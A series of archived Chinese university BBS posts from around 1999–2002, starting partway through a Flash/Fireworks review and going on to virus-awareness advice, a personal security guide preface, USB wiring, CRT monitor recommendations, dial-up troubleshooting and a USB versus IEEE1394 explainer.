Flash 最初叫做 FutureSplash。是由一家小公司为了完善 Macromedia 的拳头产品 Director 而开发的。1986年被 Macromedia 收归旗下，产品正式易名为 Flash。Flash 是 交互式矢量图和 Web 动画的标准。网页设计者使用 Flash 创作出既漂亮又可改变尺 寸的导航界面以及其他奇特的效果。相信凡是见过 Flash 技术的人，没有一个不想掌 握它的。它不但易学、易用，而且可以做出有很多动画的网站，并且声色结合，是一 种很有前途的网页制作技术。现在国外很多公司都已经纷纷改用 Flash3 制作主页了。 具体效果可以看 http://www.macromedia.com/software/flash/。 ★Fireworks 2.0 　　它是真正的网页作图软件。Fireworks 2.0 与 Dreamweaver 2.0 结合很紧密，只要 将 Dreamweaver2.0 的默认图像编辑器设为 Fireworks 2.0 ，那么在 Fireworks 2.0 里 修改的文件将立即在 Dreamweaver 2.0 里更新。让歪歪心动的另一个功能是可以在同 一文本框里改变单个字的颜色。当然，Fireworks 2.0 可以引用所有的 Photoshop 的滤 镜，并且可以直接将 PSD 格式图片导入。 　　看来，Macromedia 公司很想成为网页制作的老大，不过它提供的这套梦幻组合的 确是目前最好的专业主页制作工具。大家快到 http://www.macromedia.com下载30天 的试用版(在国内的 http://ilike.yeah.net上有下载)。歪歪特别感谢小熊 (http://sm78.126.com提供大量资料和技术支持。 -- I love: games programming and that others consider me as a pile of garbage ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.13.21.21] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: shifeng (我爱秋香), 信区: Virus 标 题: Internet与计算机病毒 发信站: 日月光华站 (Sun May 20 01:30:18 2001) , 站内信件 Internet与计算机病毒 Internet起源于1969年9月的美国国防部军用网络Arpanet, 经过几十年的发展, 目 前在全世界已拥有近亿台各种主机、终端交换机、个人电脑等设备相互通讯并横跨一百 五十多个国家的全球最大的信息资源共享网络。Internet提供了电子邮件(E-mail)、远 程登录(Telnet)及网络文件传输(FTP)三大传统服务. 目前以环球信息网(Word Wilde W eb, WWW)为代表的多媒体信息服务发展非常迅速, 但电子邮件依旧是Internet上使用最 为频繁和广泛的服务, Internet为我们提供了方便、迅速的交流手段.但是,随着这条全 球性的信息高速公路不断地向全世界各地延伸, 在给人们带来极大便利的同时, 也越来 越多地受到安全性问题的困扰, 严重地暴露出了安全性隐患. 网上的”黑客”们不停地 寻找Internet上的安全缺陷, 采用非法手段使很多军事机密被窃取, 银行帐目被篡改、 私人信用卡被盗用, 甚至网络阻塞、整个系统瘫痪的事件也时有发生,且作案远离现场、 时间短、隐蔽性强、手段高超且花样繁多,其危害程度已远远超过独立的单机系统,对网 上的各部门和用户的信息构成了严重的威胁,也影响了Internet 的进一步发展. 　　Internet网上的E-mail及FTP服务给计算机病毒的滋生和传播带来了前所未有的”机 遇”,因此,如何对Internet网上的各种非法行为进行主动防御和有效年抑制,是当今计算 机网络方面亟待解决的一个重要问题。正是因为电子邮件使用广泛,因此,邮件的安全一 直受到网络管理售货员的重视.特别是1988年发生在美国的Internet蠕虫(worm)事件,是 涉及安全问题的典型例子. 蠕虫爆发后的一至两天内,使用BSDUNIX及变种SUNOS操作系统 的主机受其影响的数目达到几千台. 许多网络主机的管理员发现他们的机器中出现大量 的命令解释器进程, 甚至管理员也无法启动其它进程以清除它们, 只好关闭电源以求恢 复正常. 但一旦机器重新启动,很快便重新充满大量的异常进程,使得用户原有的工作不 能完成.蠕虫侵入系统的方法大致有三种, 其中一种就是利用BSD UNIX电子邮件程序中的 一个调试后门以及一个关于串处理函数的错误首先侵入系统,然后将蠕虫的主要代码引导 进入系统. 这次蠕虫事件一般被认为是计算机病毒开始受到广泛研究的标志,影响及其深 远.尽管很快发布了修改这些后门和错误的邮件程序, 但是人们仍然对有关电子邮件引起 的安全问题充满警惕. 一方面, 仍旧一些含有这些错误的程序在不同的系统中运行. 另 外一个方面,许多计算机”黑客”在不断地”发掘”各种可能存在的侵入系统的方法. 　　随着Internet在中国的迅速拓展,特别是中国教育和科研计算机网(CERNET)以及商业 性的ChinaNet和COMNet的发展, 电子邮件同样成为许多网络用户使用的工具,互联的校园 网络在促进学校科研教育发展的同时,也非常容易成为网络攻击的对象,特别是在网络建 设的初期,网络安全意识和网络防范能力都较为薄弱. 　　据透露, 一种新的致命病毒---Hare病毒定于近期”发作”. Hare病毒届时将显示H DEuthanasia的信息, 然后企图重写计算机硬盘上的全部文件.英国《病毒公报》编辑Ia n Whalley指出, Hare极为复杂, 而且很难查出. 它是借Internet传播的,未激活版本已 在几个国家发现,其中包括美国. 　　另外一种新病毒属于被称为”宏病毒”的传染病毒家族, 宏病毒于一年前首次被发 现. 这种新病毒称为ExcelMacro. Laroux, 是首例感染Microsoft公司Excell电子表格的 病毒.Laroux的表现很像目前常见的Word. concept病毒,后者在Microsoft Word生成的文 档中传播. Laroux可做为电子表格的附件进入电子邮件,或以其他同电子表格相同的传送 方式传播. 据美国全国计算机安全协会(NCSA)称, 这种病毒相对来说没有什么危害,但可 导致少数系统的”应用软件异常”.NCSA指出,Laroux看上去比Word.concept传播的速度 要慢,因为Excel不像Word使用那么广泛,而且用户不常共用电子表格, 而文字处理器文档 则经常共用. 　　NCSA提供了一种病毒成本分析模型,根据这一模型进行分析出的结果如下: 如果一个公司不采取任何防范措施, 那么每1000台PC每年要花180万美元进行病毒袭击后 的恢复工作。 如果采取最起码的措施, 如教育工作人员以引起他们的警觉等,将使上述费用降至80万美 元左右. 在公司一半的PC上每天运行一次病毒扫描程序, 费用可再降一半至40万美元. 在一半的PC上全天候运行背景扫描程序, 可使每年的病毒清理费用降至仅3万美元. 　　对付Internet病毒可采取如下措施: 要有安全意识,对于从Internet网上下载的一些可执行文件,需要事先用杀毒软件查毒,或 在微行机上安装了病毒防御系统方可执行,所有从Internet上取来的数据多应该严格禁止 进入企业内部网, 对从Internet下载的或电子邮件中所附的电子文档(如Word的doc文档 和Excel的XLS文档,如这些文档的来历不明, 或电子邮件的标题中含有类似”欢迎你浏览 我”等欺骗性的语句, 千万不要盲目地用Word或Excel打开此类文档, 因为有些文档中可 能包含有宏病毒,标题中的一些引诱性的语句只不过是病毒制造者向你投下的”诱饵”. 要选用Internet病毒防火墙系统, 这类系统采用病毒隔离技术,对从Internet上所下载的 数据进行病毒检测,发现病毒会及时清除并报警. 如果没有采取上述措施, 则应经常用杀毒软件对Internet的下载数据进行查毒.如Word- VRV能够发现目前国际上流行的宏病毒,对一些新的宏病毒可以进行扩充定义. 警惕！E-mail中的病毒陷阱. 　　当你在Internet上用E-mail收看邮件时，是否想到，你可能会受到计算机病毒的威 胁。如果你收到一个电子邮件，其主题（Subject）是极具诱惑性的语句，可能它恰恰是 在欺骗你。这里，我列出一些较流行的欺骗性语句供你参考，以免上当受骗。如果你收 到一个称作“Good Times”的消息，不要阅读或下载它，它可能是一个会删除你硬盘上 内容的病毒。如果你收到一个E-mail，其主题是“Irina”,不要读，赶快删除。取名为 “Penpal Greeting”的邮件似乎象一个有关“Penpal”的友好问候信。但它可能带有一 种称为“Trojanhorse”的病毒。该病毒通常感染你的硬盘根目录。更可怕的是一旦阅读 它，它会自动转发给其E-mail地址在你的邮箱中的任何人。 　　有关欺骗邮件的主题（ Subject）的详细情况，可到下面站点去查看： 　　http://ciac.unl.gov/ ciac/ CIAC Hoaexs.html 　　也许你认为通过阅读电子邮件不可能感染病毒。但记住，不可忽视任何计算机病毒 的存在、破坏、传染。一般，一个纯粹的电子邮件内容没有病毒，但其附加的文件极可 能带有病毒。附加文件的病毒扩散首先需要运行它。举个例子来说：你收到了一个附加 有用Word编辑的文件，这个Word文件被病毒感染了，当你运行该附加文件时：计算机就 会受到病毒的威胁。 　　据统计，目前透过Internet传播的不同类型的病毒数量如下： OS型：　　　10，000-11，000种 Windows型：　　　　　　　12种 Macintosh型：　　　　　　35种 宏病毒：　　　　　　　200余种 Unix型：　　　　　　　　　6种 其中10，000-11，000种DOS型病毒能感染所有DOS、Windows95平台的计算机（但不感染 Macintosh计算机）；但200余种宏病毒中的大部分能感染所有计算机，包括PC机和Maci ntosh机。所谓宏，就是一些命令组织在一起，作为一个单独命令完成一个特定任务（如 Word中的宏命令）。 　　如何预防从网络上下载病毒？答案简单得似乎可笑——在没有通过病毒检测前不要 打开它！ -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.236.99] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Virus精华区文章阅读 -------------------------------------------------------------------------------- 发信人: seak (江海客), 信区: Virus 标 题: 个人网络用户的安全与维护指南*序言 发信站: 紫 丁 香 (Fri Nov 12 16:27:15 1999) WWW-POST 个人网络用户的安全与维护指南*序言 文/江海客（seak@163.net） ___________________________________________________________________ 声明： 1、您所看到的是《个人网络用户的安全与维护指南》一文的文本稿，本文 已经在《计算机应用文摘》发表，传统媒体如欲转载请同该杂志社联系，获得 许可方可转载。 2、本文作者seak（哈工大紫丁香站ID）许可本文可转载于任何非商业BBS、 新闻组和WEB站点。但严禁改动、删节或添加或局部抄袭、改头换面用于任 何正式出版物。转载必须完整，包括本声明和原文紫丁香BBS信头 (即：发 信人、标题、发信站三行)。 3、由于《计算机应用文摘》编辑同志对本文的修改、和作者对文章的再次 扩充，等因素，你看到的电子版本部分章节与刊发文章并不一致。同时， 作者本人也保留对文章再次扩充修改和网上重新发布的权利。 4、本文是一篇科普文章，是作者考虑到一般网络用户的接受能力而写的， 对本领域的专家本文并无价值。作者力图能给广大用户做准确的描述，但由 于作者时间和水平的限制，作者不能保证本文的涉及的观点、处理方法等绝 对正确。欢迎大家就各种问题与我探讨，seak@163.net。 ____________________________________________________________________ 这个系列的几篇文章是为一般的网络用户准备的，他不适用于专 家和网管。这个系列酝酿很久了，当时期望写成一个包括WIN95系 统维护在内的比较全面的普及系列，写成一个全向的“指南”，但看 了蓝海在清华BBS所写的让PWIN95更顺手系列以及后来写的让 PWIN98更顺手系列，我知道这方面不可能写的更好了，因此决定把 主要方向放在安全方面，但进行下去就发现所涉及的方面仍然是很广 泛的，所以文章依然是专题性的，而不是一个完善的手册。。当然， 对我这般懒散的技术人员来说，写科普文章可能比写程序更需要毅力 和勇气，因此我特别感谢《计算机应用文摘》的编辑zov，没有他的 信任和支持，这个系列也许同样成为一个有始无终的承诺。 本文涉及的多数软件你都可以到我主持的站点应用与安全（原169电 脑医院）下载，用169免费用户可以访问，169访问速度比163更快。 虚拟域名：usafe.yeah.net 169：http://10.48.74.12/a&s（免费用户可以访问） 教育网：http://202.118.244.83/a&s ___________________________________________________________________ -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.0.100] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: BorninmaY (夏日悠悠), 信区: Hardware 标 题: Re: 我的USB接口怎么接? 发信站: 日月光华 (2002年04月09日23:28:45 星期二), 站内信件 Pin # Signal Name Description 1 VREG_FP_USBPWR0 Front Panel USB Power(Ports 0,1) 2 VREG_FP_USBPWR0 Front Panel USB Power(Ports 0,1) 3 USB_FP_P0- Front Panel USB Port 0 Negative Signal 4 USB_FP_P1- Front Panel USB Port 1 Negative Signal 5 USB_FP_P0+ Front Panel USB Port 0 Positive Signal 6 USB_FP_P1+ Front Panel USB Port 1 Positive Signal 7 GND Ground 8 GND Ground 9 无 无 10 USB_FP_OC0 Front Panel USB Overcurrent signal(Ports 0,1) 【 在 RegularHand (普通朋友) 的大作中提到: 】 : 偶机箱前面板上有两个模块可以安装USB接口 : : 另外偶用的主板说明书上有主板上的接口的信号名称 : 1: VREG_FP_USBPWR0 : 2: VREG FP USBPWR0 : 3: USB_FP_P0- : 4: USB_FP_P1- : 5: USB_FP_P0+ : 6: USB_FP_P1+ : 7: Ground : .................（以下省略） -- 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 我爱灌水我爱灌水我爱灌水我爱灌水 ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.4.123] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 显示设备综述——产品篇 发信站: 日月光华站 (Tue Dec 7 20:58:33 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) （暂时只限于CRT显示器） 购买电脑的人群中，对显示器性能有特殊要求的并不多，大部分 人会选择主流显示器。那么时下的主流显示器是哪些呢？让我们看 看。 　 主流显示器 讨论主流显示器，先要搞清楚主流显示器的范围，昂贵的液晶显 示器当然不能算主流，我们要谈的，肯定是最常见的CRT显示器，即 阴极射线管显示器。定了大方向，其它的就好说了，主流显示器的特 征无外乎可以从这么几个方面来分析：屏幕尺寸、性能指标和购买价 格。 屏幕尺寸。这一方面不用费太多口舌。现在电脑市场上14英寸的 显示器已经很难找了，15英寸的显示器所占的比例也越来越少，而17 英寸显示器正逐渐成为主力军，其价位已经比较容易被接受，而且进 一步降价是必然的事情。如果你能承受，完全应当直接考虑选择一台 17英寸的显示器，如果实在预算紧张，15英寸的显示器也未必不是好 的选择。 性能指标。这个标题大了些，可以细分成不少具体方面。 1.显示器表面构造。这是由显示器所采用的显象管决定的。球面管 显示器已经被淘汰，目前市场上的主流应该是平面直角显示器和 柱面显示器，最先进的当然是刚问世没多少时间的纯平面显示 器，或者叫完全平面显示器，但大多数此类显示器仍比较昂贵， 只有少数的价格跌进了主流显示器的圈子。 2.点距。点距越小显示器画面就越清晰自然。现在大多数主流显示 器仍然是0.28mm，不少0.26mm、0.25mm甚至更小点距的显示器 也纷纷成为主流，提供了更好的选择。 3.分辨率、垂直刷新频率。把这两个性能放在一块是因为它们是相 辅相成的。目前主流显示器至少应当能达到垂直刷新频率85Hz 下，分辨率1024*768的水平，最高分辨率至少应为1280*1024 （垂直刷新频率60Hz下）。这个要求可以说一点儿也不高。 4.带宽。这是衡量显示器综合性能的最直接的重要指标。主流显示 器带宽至少应该能达到80MHz，能上到100MHz或110MHz以上则更 好。 5.辐射及环保标准。主流显示器都能达到MPRII标准，大多数也都 应该具备TCO95标准，鉴于对健康的影响，能达到TCO99标准当然 更好。省电节能方面，能满足EPA能源之星绿色标准是主流显示 器的必须指标，当然，现在显示器没达到这个标准的已经不常见 了。 6.其他方面。象可视面积越大、输入接口、调控方式及调节功能越 多等等，对于主流非主流显示器的划分，影响不大，看个人选择 了。 购买价格。价格也许是决定主流显示器范围最直接的因素了。15 英寸显示器普通管1500元左右、柱面管（特丽珑、钻石珑）2000元以 下，17英寸显示器普通管2500元以下、柱面管3000元以下、高档柱面 管和完全平面显示器4000元以下，都应当算是主流显示器，也是目前 电脑市场上正当卖的显示器。 　 主流15及17英寸显示器推荐 15英寸显示器： 飞利浦105A 价格1500元 飞利浦105A性能参数：带宽79MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦105A特性评述：合TCO92标准。 　 飞利浦105G 价格1600元。 飞利浦105G性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦105G特性评述：符合TCO99标准。XSD超空间设计，机身深 度仅379mm。可选多媒体及USB底座。 　 三星550S 价格1380元。 三星550S性能参数：带宽80MHz，最高分辨率1024*768@75Hz， 建议分辨率800*600@85Hz，点距0.28mm，水平扫描频率30-61KHz， 垂直扫描频率50-120Hz。 三星550S特性评述：可选TCO95标准。 　 三星550B 价格1580元。 三星550B性能参数：带宽110MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 三星550B特性评述：可选TCO95标准。半透明中文OSD菜单。 　 ACER 57C 价格1450元。 ACER 57C性能参数：带宽110MHz，最高分辨率 1280*1024@66Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-120Hz。 ACER 57C特性评述：可选TCO95标准。细颈显象管，动态聚焦， 5组色温调节。 　 美格XJ500T 价格1950元。采用索尼特丽珑显象管。 美格XJ500T性能参数：带宽80MHz，最高分辨率 1280*1024@65Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率50-120Hz。 美格XJ500T特性评述：符合TCO95标准。飞梭单键。 　 17英寸显示器： 爱国者700A 价格1880元。 爱国者700A性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率55-120Hz。 爱国者700A特性评述：高性价比。 　 爱国者700A plus 价格1999元。 爱国者700A plus性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率55-120Hz。 爱国者700A plus特性评述：高性价比。 　 飞利浦107G 价格2480元。 飞利浦107G性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦107G特性评述：符合TCO99标准。XSD超空间设计，机身深 度仅408mm。可选多媒体及USB底座。 　 三星750S 价格2480元。 三星750S性能参数：带宽110MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 三星750S特性评述：可选TCO95标准。半透明中文OSD菜单。 　 LG 775N 价格2380元。 LG 775N性能参数：带宽110MHz，最高分辨率1280*1024@60Hz， 建议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率30-70KHz， 垂直扫描频率50-160Hz。 LG 775N特性评述：菜单调节功能丰富，清晰度不错。 　 LG 795FT+ 价格3900元。 LG 795FT+性能参数：带宽203MHz，最高分辨率 1600*1200@75Hz，建议分辨率1280*1024@85Hz，点距0.24mm，水平 扫描频率30-96KHz，垂直扫描频率50-160Hz。 LG 795FT+特性评述：符合TCO99标准。完全平面显示器，是最 便宜的完全平面显示器，但性能不错，超值性价比，属于高档显示 器。 　 ADI 5PM 价格2580。采用日立蓝色星钻超黑增强显象管。 ADI 5PM性能参数：带宽108MHz，最高分辨率1280*1024@60Hz， 建议分辨率1024*768@85Hz，点距0.28mm，水平扫描频率30-69KHz， 垂直扫描频率50-160Hz。 ADI 5PM特性评述：可选TCO95标准。文本图像清晰度都不错。 　 华胜K7034 价格2750元。 华胜K7034性能参数：带宽135MHz，最高分辨率 1600*1200@75Hz，建议分辨率1280*1024@85Hz点距0.26mm，水平扫 描频率30-95KHz，垂直扫描频率50-160Hz。 华胜K7034特性评述：可选TCO95标准。可视面积大，性能不错， 功能齐全，性价比极高。 　 ACER 77e 价格2400元。采用日立显象管。 ACER 77e性能参数：带宽110MHz，最高分辨率 1280*1024@67Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-72KHz，垂直扫描频率50-120Hz。 ACER 77e特性评述：符合TCO95标准。文本图像清晰度都不错， 亮度高。IKEY按键设计，调节功能非常丰富。 　 美格XJ700T(图：美格XJ700.jpg) 价格3500元。采用索尼特丽珑显象管。 美格XJ700T性能参数：带宽100MHz，最高分辨率1280*1024@67Hz， 建议分辨率1024*768@85Hz，点距0.25mm，水平扫描频率30-70KHz， 垂直扫描频率50-120Hz。 美格XJ700T特性评述：符合TCO92标准。带宽略小，价格不错。 　 美格770T 价格3750元。采用索尼特丽珑显象管。 美格770T性能参数：带宽100MHz，最高分辨率 1280*1024@67Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率50-150Hz。 美格770T特性评述：符合TCO99标准。功能齐全，“黄金眼”系 统，菜单聚焦调节，价格合适。 　 索尼17ES2 价格3900元。采用索尼特丽珑显象管。 索尼17ES2性能参数：带宽100MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率48-120Hz。 索尼17ES2特性评述：符合TCO92标准。智能数字多频追踪系统， 多重聚焦电子枪，价格不高。 上述主流显示器，也包含了低、中、高三档，根据自己财力和喜 好来选择就够了。选择主流显示器的用户，其一般用途就是普通家 用、商用，除了学习、工作、上网等之外，也玩玩电脑游戏，但不是 烧到骨灰极，不然肯定不会满意上述这些主流显示器的。 　 玩家显示器推荐 这里所指的玩家，是指发烧极的玩家。经常留连于高画质的3D游 戏，对分辨率和画面质量有着近乎苛刻地要求。那么，适合这个档次 的显示器要求就比较高了：至少17英寸，至少珑管、还得是高档次珑 管，分辨率能上到1600*1200。这样的显示器有： 　 ACER 79g 价格4100元。采用三菱钻石珑显象管。 ACER 79g性能参数：带宽160MHz，最高分辨率 1600*1200@76Hz，建议分辨率1280*1024@85Hz，点距0.25mm，水平 扫描频率30-95KHz，垂直扫描频率50-160Hz。 ACER 79g特性评述：符合TCO95标准。性能不错，功能齐全，属 于高档显示器，但价格偏高。 　 ADI GT56 价格4300元。采用索尼特丽珑显象管。 ADI GT56性能参数：带宽203MHz，最高分辨率 1600*1200@60Hz，建议分辨率1280*1024@85Hz，点距0.25mm，水平 扫描频率30-96KHz，垂直扫描频率50-160Hz。 ADI GT56特性评述：符合TCO99标准。性能不错，高档显示器， 但价格偏高。 其他的就不一一详细列举性能参数了，它们包括： 索尼CDP-200GS、GDM-200PS 三菱NFF8705 CTX中强PR710 优派GT775、P775、PT775 ADI 5GT NEC E750 把美格770T和LG 795FT+列入主流显示器，一方面是因为他们价 格都在主流显示器的范围内，可以说是相当不错的价格了；另一方面 呢，则是因为它们还多多少少有些不如人意的地方，如果不考虑这一 点点因素的话，这两款显示器列入发烧玩家的选择圈也是可行的。 　 专家显示器推荐 专家肯定要用专家极的显示器，因为他们多半要把显示器运用到 CAD设计、图形图象处理、多媒体影象编辑等等专业图形领域，玩家 们的显示器其实都非常棒，但专家们或许会觉得还是小了些。 其实，专家极的显示器是最好找的，去卖那些名牌显示器的商 家，抱一台最大的就得了，19、20、21英寸甚至更大的，分辨率至少 达到1600*1200无闪烁的85Hz刷新率甚至更高，文字图形清晰无比， 可是银子，哎，心疼呀！ 　 完全平面显示器 最近显示器方面的热点，就是完全平面显示器了。在LG 795FT+ 孤独地领军了一阵子，三星DYNAFLAT IFT又没什么动静之后，基于索 尼FD Trinitron（平面珑）显象管和三菱NF钻石珑显象管的完全平面 显示器，一下子猛扑过来。市场上索尼的GDM-F系列、三菱的Diamond Pro系列、美格的796FD等等、ADI的平幕王系列、CTX中强的超平面专 家系列、ACER的79g NF、EIZO的新产品等，就好象约好了似的，整齐 出现。还有采用自己的完全平面技术的Decaview的 ActualFlat系 列、NEC的 MultiSync FP950、日立的完全平面系列、优派的 PT795，也都来凑热闹。一时间，大有铺天盖地之势，把昔日那些高 端显示器，压得抬不起头来，让它们黯然失色。 完全平面显示器无失真、无眩光、更清晰，自然比以前的显示器 更优秀一些，这些显示器，也完全都符合玩家极和专家极用户的要 求，但之所以要在这里单独列出，就是要强调它们的重要性，因为它 们将成为CRT显示器发展的必然趋势！ 相信显示器市场会被明显冲击，往日的高档柱面显示器，包括一 些稍差的完全平面显示器，肯定会被迫掉价，而显示器升级的大好时 机，就要到来了！ 未完待续，请看下一篇“显示设备综述——发展篇” 本站设备综述部分将在近日全面更新，请关注本站。 飞翔鸟 于铠 1999年12月5日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.143] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Rosan (冰), 信区: Internet 标 题: 排除拔号上网小问题 发信站: 日月光华站 (Fri Mar 30 13:54:44 2001) , 站内信件 □⋯⋯排解拨号上网小问题 摘自：网络青蛙软件刊物 　　 　　现在电脑已经走进了千家万户，随着上网费用的降低，大多数已接入因特网，接入 方式通常采用拨号上网的方式。但有时并不很顺利，现把经常会遇到的一些小问题及解 决办法归纳如下： 　　TCP/IP协议的安装、拨号网络适配器的绑定等一般在安装完Win 95/98后采用默认的 方式即可。如果你的电脑没有和其它电脑连网，那么你可以把“控制面板”里“网络” 的配置只保留“TCP/IP”一个协议，去掉其它的所有协议，这样可以提高上网速度。 　　单位中的电话为了节省开支、减少办公费用，有时会采用电话分线器把两部或多部 电话串在一起，如果在某一部分机上直接通过Modem上网，可能遇到拨号拨不通的情况。 这时可以把分线器先拆除或直接把Modem接在分线器之前试一下，一般可解决问题。 　　现在很多家庭的电话都安有电话防盗器或电话上直接带有防盗装置，这时直接拨号 上网可能出现“没有响应”的提示窗口。如若电话上有防盗开关，可以把电话上的防盗 开关拨到“关”的位置。如若有防盗器可先把防盗器拆除试一下，一般会有令人惊喜的 画面出现。 　　前段时间为单位的一台单机安装一外置Modem，各项设置和驱动程序安装完毕后开始 拨号，有猫的吱吱叫声，心中一阵窃喜，可是几秒钟后“砰”地弹出一个窗口，意思是 说Modem没有正确安装或线路有问题等，可查看帮助文件。于是按照老经验，把驱动程序 删除掉、网络里面的各种设置也都删除，重新启动机器，再次安装完并拨号后，所期待 的窗口并没有出现，还是出错提示。查看帮助文件，没有发现有任何错的地方，百思不 得其解，难道真的是线路有毛病？于是把电脑搬到隔壁办公室试一下，还是老设置，我 的猫却欢快地进网了，再拿回来一试，还是不能入网。问题出在哪里呢？后来发现这部 电话的拨号音和隔壁办公室的电话拨号音不太一样，想起来是我单位为了节约开支，控 制长话，在电信局开办了“锁”长途电话业务，而隔壁办公室的电话保留有长话业务， 由此拨号音不一样，造成Modem不能识别这种拨号音而不能上网。 　　Modem的嚣叫声有时令人好烦，可以把它给关闭掉。如果仅仅把“控制面板”里的M odem的扬声器的音量给关闭，你会发现你的猫还会吱吱叫个不停。问题出在哪里呢？这 时可以双击“拨号网络”里“我的连接”，点“设置”按钮，把扬声器音量关闭即可。 　　对于刚安装完Modem后的机器，拨号不能上网有时可能是线路忙的原因，这时可直接 在电话上拨打163或169检查一下，如有嘀嘀的占线音则证明线路忙，可稍后再拨，如果 像传真机一样发出的是刺耳的尖叫声则证明线路是空闲的，这时就要检查一下驱动程序 安装正确没有，或是有冲突以及网络设置的问题。 　　有时可能会出现这种情况：上午还上网正常，下午却登录不上去，而机器又没有别 人改变过设置，这时可以询问其他的用户接入是否正常或直接问你的接入商（一般是电 信局的多媒体信息处），看是否是你的服务器有问题了。 　　现在由于上网的用户太多，线路特别忙，非常不容易上网。这时你可能会眼睛盯着 屏幕，不停地重复着“取消、连接”这个过程，能否让电脑自动地连接呢？一般在默认 安装后，有5次自动连接。在“控制面板”里双击“Internet项”，选择“连接”选项卡 ，单击“设置”按钮，单击“拨号设置”项里的“高级”按钮，出现“高级拨号”窗口 ，把“试图连接的次数”进行修改即可，最大为99次，两次重试之间等待时间最小为5秒 钟。进行修改后就可以让电脑自动进行多次连接，而你就可以做其它的事情了。 　　对于加快连接速度，许多文章已经介绍过，在此简单叙述：在“控制面板”双击“ 调制解调器”，选“常规”选项卡,单击“属性”按钮，选“常规”选项卡，出现猫的属 性窗口，把“最快速度”选到115200。在“控制面板”双击“调制解调器”，选“常规 ”选项卡，单击“属性”按钮，选“连接”选项卡，单击“端口设置”按钮，把“接收 缓冲区”和“传输缓冲区”都设为最高。在“控制面板”双击“调制解调器”，选“常 规”选项卡，单击“属性”按钮，选“连接”选项卡，单击“高级”按钮，选中“压缩 数据”和“硬件流控制”。 　　有时由于电话线路质量的问题，可能会引起传输速度变慢，导致网页打不开。前段 时间就碰到有一朋友的机器，原来上网速度还可以（猫的芯是摩托罗拉的，好像很少有 人用），后来由于搬家从电信三分局管辖范围迁到电信二分局管辖范围，机器由于主要 用于上网炒股票，从没有他人用过，也没有安装过新的软件，也就是说机器的配置没有 任何改变，但网页就是打不开。重新安装Win 98系统还是老样子，没有办法把我的外置 猫拿过去装上，网页马上就打开了。显然是由于他的猫的抗线路干扰能力较差，导致打 开网页速度太慢，以致超时不能打开，因此在购买时就要买大众常用的猫以免带来不必 要的麻烦。 　　在用工具软件如网络蚂蚁、网际快车等下载工具下载软件时有时会好长时间停滞不 前，这时不妨断开连接，然后重新连接上网，一般就会立即开始下载。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.76.120.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: relive (火鸟~~非梧不栖~~笑傲梧枝), 信区: Hardware 标 题: 了解USB与IEEE1394 发信站: 日月光华站 (Fri Sep 14 15:10:31 2001) , 站内信件 了解USB与IEEE1394 ---两种接口的特性和差别 　TIANYIx USB与IEEE1394都是一种通用外部设备接口，它们现在都广泛地应用于电脑、摄像机、数 码相机等各种信息设备上，尤其是USB，现在的普通PC都带有2-6个USB接口。那么你了解 USB与IEEE1394吗？ USB总线 一、USB的主要特性主要特征是什么？ 速度快。速度快是USB最突出的特点之一，现在USB1.1接口最高的传输速率可以达到12M bps/s，可以说在外部设备接口之中已经是屈指可数的。USB2.0最高传输速率会达到480 Mbps/s，也就是60MB/s。 方便用。使用USB接口可以非常方便地带电插拨各种硬件，而不用担心硬件是否有损坏。 它还支持连接多个不同设备串连，以达到需要。一个USB接口最多可以连接127个USB设备 。USB设备也不会有IRQ冲突的问题，因为它会单独使用自己的保留中断，所以不会使用 电脑有限的资源，有了USB这样的真正的"即插即用"大家不用再为IRQ冲突烦心了。 